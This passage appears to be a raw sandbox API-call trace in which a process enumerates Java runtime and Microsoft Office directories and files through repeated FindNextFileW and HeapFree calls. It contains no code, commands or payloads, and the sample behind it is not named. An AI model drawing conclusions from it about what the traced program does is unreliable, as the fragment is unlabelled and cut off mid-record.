ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0243.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.988] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0243.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.989] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0243.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.994] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0243.997] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x3f90010, Size=0x10000) returned 0x3f37fd8 [0243.999] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.999] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0244.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0244.010] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0244.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0244.015] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0244.015] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0244.015] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0244.015] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0244.017] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0244.017] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0244.183] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0244.183] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0244.189] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0244.189] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0244.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0244.190] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0244.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0244.192] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0 [0244.192] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0244.197] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0244.197] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x39b2254f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x39b2254f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0244.199] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ff8 | out: hHeap=0x630000) returned 1 [0244.199] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b907c83, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3b907c83, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0244.203] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ff8 | out: hHeap=0x630000) returned 1 [0244.203] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0244.207] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0244.207] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0244.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0244.754] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0244.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0244.756] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0244.756] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0244.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0244.757] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0244.757] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0244.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0244.760] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0244.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0244.763] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0244.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0244.765] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0244.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0244.768] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0244.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0244.768] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0244.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0244.772] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0244.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0244.773] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0244.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0244.778] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0245.569] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0245.569] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0245.570] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0245.570] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1 [0245.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0245.591] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0245.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0245.777] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0245.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0245.777] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0245.780] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0245.780] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0245.780] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0245.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0245.781] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1 [0245.791] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0245.791] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0245.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0245.796] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0245.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0245.815] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0245.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0245.823] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, 